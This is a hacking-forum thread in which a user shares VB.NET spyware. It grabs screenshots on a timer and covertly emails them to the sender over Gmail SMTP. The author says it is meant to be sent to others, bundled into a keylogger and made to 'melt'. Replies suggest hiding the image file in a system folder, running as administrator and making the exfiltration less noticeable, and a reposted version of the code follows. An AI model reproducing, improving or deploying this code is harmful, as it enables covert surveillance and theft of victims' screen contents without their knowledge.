[Tr0ne]

This is a simple program that you can create to make Autoscreen shot and send back to you email
Also you can add some features (melt) or implement it in your keylogger

You should add 2 Textbox ( username, password)
1 timer (paste the quote in)(enable true choose interval to receive i advise minimum 1 min (60000), 1000=1sec)

If you will send this to someone i advise you to put a button on click activate then program then melt

Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height)
Dim g As System.Drawing.Graphics = System.Drawing.Graphics.FromImage(screenGrab)
g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize)

Dim RandomFileName As String = IO.Path.GetFileNameWithoutExtension(IO.Path.GetRandomFileName)
screenGrab.Save("d:\temp\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg)

Dim MyMailMessage As New MailMessage()
Dim MsgAttachment As New Attachment("d:\temp\" & RandomFileName & ".jpg")
MyMailMessage.From = New MailAddress(TextBox1.Text)
MyMailMessage.To.Add(TextBox1.Text)
MyMailMessage.Subject = "Tr0ne "
MyMailMessage.Body = "This is a Tr0ne program"
MyMailMessage.Attachments.Add(MsgAttachment)
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)

You can add other Features such as melt etc then send it to someone.. I hope you can customize your own. Don't forget to comment if you get any prob or just thanks RATE The Thread

Don't be a leech if you use it in your programs or anywhere don't forget to mention me

[blowdoof]

I'd suggest using system.io.path.gettemppath and gettempfilename for creating the temp image, not everyone has a D:/ partition
Perhaps resizing the image will make the mailsend less noticed as well

Anyway, nice routine

[Tr0ne]

I'd suggest using system.io.path.gettemppath and gettempfilename for creating the temp image, not everyone has a D:/ partition Smile
Perhaps resizing the image will make the mailsend less noticed as well

Actually its only and example you should put the "d:\temp\" in a folder like this "C:\Program Files\Windows Media Player" which almost all machine has
P.s you should make program run as administrater
Thanks for the suggestion though

[icehood]

I really don't get this, what's the file we going to send to the victem?? How are we going to get the screenshot???

[Mediocrity_mybb_import6293]

nice nice Good share pal .

[ArkPhaze]

Why doesn't anyone import namespaces in VB?

Code:

Imports System.IO Imports System.Drawing Imports System.Net.Mail

Code:

Dim ScreenSize As Size = New Size(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height) Dim screenGrab As New Bitmap(My.Computer.Screen.Bounds.Width, My.Computer.Screen.Bounds.Height) Dim g As Graphics = Graphics.FromImage(screenGrab) g.CopyFromScreen(New Point(0, 0), New Point(0, 0), ScreenSize) Dim RandomFileName As String = Path.GetFileNameWithoutExtension(Path.GetRandomFileName) screenGrab.Save("d:\temp\" & RandomFileName & ".jpg", Imaging.ImageFormat.Jpeg) Dim MyMailMessage As New MailMessage() Dim MsgAttachment As New Attachment("d:\temp\" & RandomFileName & ".jpg") With MyMailMessage .From = New MailAddress(TextBox1.Text) .To.Add(TextBox1.Text) .Subject = "Tr0ne " .Body = "This is a Tr0ne program" .Attachments.Add(MsgAttachment) End With Dim SMTPServer As New SmtpClient() With SMTPServer .Host = "smtp.gmail.com" .Port = 587 .Credentials = New System.Net.NetworkCredential(TextBox1.Text, TextBox2.Text) .EnableSsl = True .Send(MyMailMessage) End With

[ArkPhaze]

It makes the code a lot shorter and more organized if you don't have to repeat typing the full address of the namespace out thats all.

Side note: How am I able to donate for VIP subscription? Do I have to wait until it's back up again?

[simonbenyo]

Yap Good Job Man I too Think That Is more reliable to use the Enviroment.GetSpecialFolder Of The Appdata or else instead of D:\ ,HowEver Nice Job THX

[ArkPhaze]

Yap Good Job Man I too Think That Is more reliable to use the Enviroment.GetSpecialFolder Of The Appdata or else instead of D:\ ,HowEver Nice Job THX

Assuming that D: is the Windows System drive, then yes, otherwise no. It's better to just use the hardcoded value, BUT with that said, a check to make sure that the location on that hard drive exists should be used first.